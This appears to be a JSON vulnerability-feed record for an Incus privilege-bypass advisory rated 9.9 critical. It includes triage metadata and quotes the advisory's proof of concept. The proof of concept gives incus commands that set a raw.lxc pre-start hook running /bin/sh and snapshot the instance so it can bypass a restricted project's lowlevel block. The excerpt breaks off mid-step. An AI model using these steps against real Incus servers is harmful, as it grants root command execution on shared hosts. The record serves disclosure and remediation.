{"items":[{"id":"NVI-00017778","kind":"vulnerability","title":"Incus has a restricted project bypass leading to arbitrary command execution","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-48q5-w887-33wv","CVE-2026-48751"],"plain_summary":"GitHub lists this reviewed advisory for github.com/lxc/incus/v7/cmd/incusd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-627a428301bbfbb10b7fe07e86dbaea5"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-26T18:33:56.000Z","value":"9.9 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-627a428301bbfbb10b7fe07e86dbaea5"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-627a428301bbfbb10b7fe07e86dbaea5","url":"https://github.com/advisories/GHSA-48q5-w887-33wv","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-48q5-w887-33wv","publisher":"GitHub Advisory Database","observed_at":"2026-11-05T19:05:53.922Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-627a428301bbfbb10b7fe07e86dbaea5"],"technology":"github.com/lxc/incus/v7/cmd/incusd","known_exclusions":[],"conditions_summary":"### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer a","public_affected_ranges":["< 7.2.0"]}],"null_published_at":"2026-11-05T19:10:21.467Z","source_updated_at":"2026-06-26T18:33:56.000Z","source_disclosed_at":"2026-06-26T18:33:55.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-05T19:05:53.922Z"}],"next_cursor":null,"snapshot_revision":"42594"}